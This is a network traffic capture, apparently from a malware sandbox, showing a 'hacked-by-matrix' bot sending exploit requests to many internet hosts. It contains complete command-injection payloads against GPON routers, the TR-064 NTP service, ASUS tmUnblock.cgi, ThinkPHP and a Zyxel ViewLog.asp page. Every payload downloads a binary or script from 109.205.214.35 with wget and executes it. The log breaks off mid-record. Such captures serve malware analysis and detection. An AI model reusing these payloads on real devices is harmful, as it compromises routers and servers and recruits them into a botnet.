Mar 21, 2024 05:17:33.126821995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	58368	5.250.62.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126904964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	59530	37.128.129.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126960039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	43674	42.116.218.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.127088070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	59256	94.215.195.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.127103090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	50152	79.15.112.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.127130985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	49358	5.136.255.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.127152920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	53906	42.166.144.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.127182961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	33754	197.29.234.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.200989962 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:33.421159983 CET	243	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: Keep-Alive WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="c56823f0841e9c597406144f0710622500578ace",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	59758	172.67.134.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.217201948 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:33.512495041 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	32896	189.22.9.52	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.283713102 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:34.460395098 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:35.837052107 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	37830	88.221.151.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.794997931 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:33.965256929 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:17:33 GMT Date: Thu, 21 Mar 2024 04:17:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 39 31 64 64 35 38 26 23 34 36 3b 31 37 31 30 39 39 34 36 35 33 26 23 34 36 3b 33 62 38 30 34 37 61 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.591dd58.1710994653.3b8047a2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	38602	64.127.187.99	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.800925970 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:33.979089022 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:17:49 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	43626	97.116.106.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.810086012 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	46834	181.177.96.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.260154009 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.365319014 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	44180	83.149.106.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.339883089 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	53204	213.208.152.233	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.355415106 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.730483055 CET	133	IN	HTTP/1.1 404 Not Found Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Thu, 21 Mar 2024 04:17:34 GMT Content-Length: 0
Mar 21, 2024 05:17:34.730501890 CET	505	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:34 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	53360	200.170.220.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.377044916 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 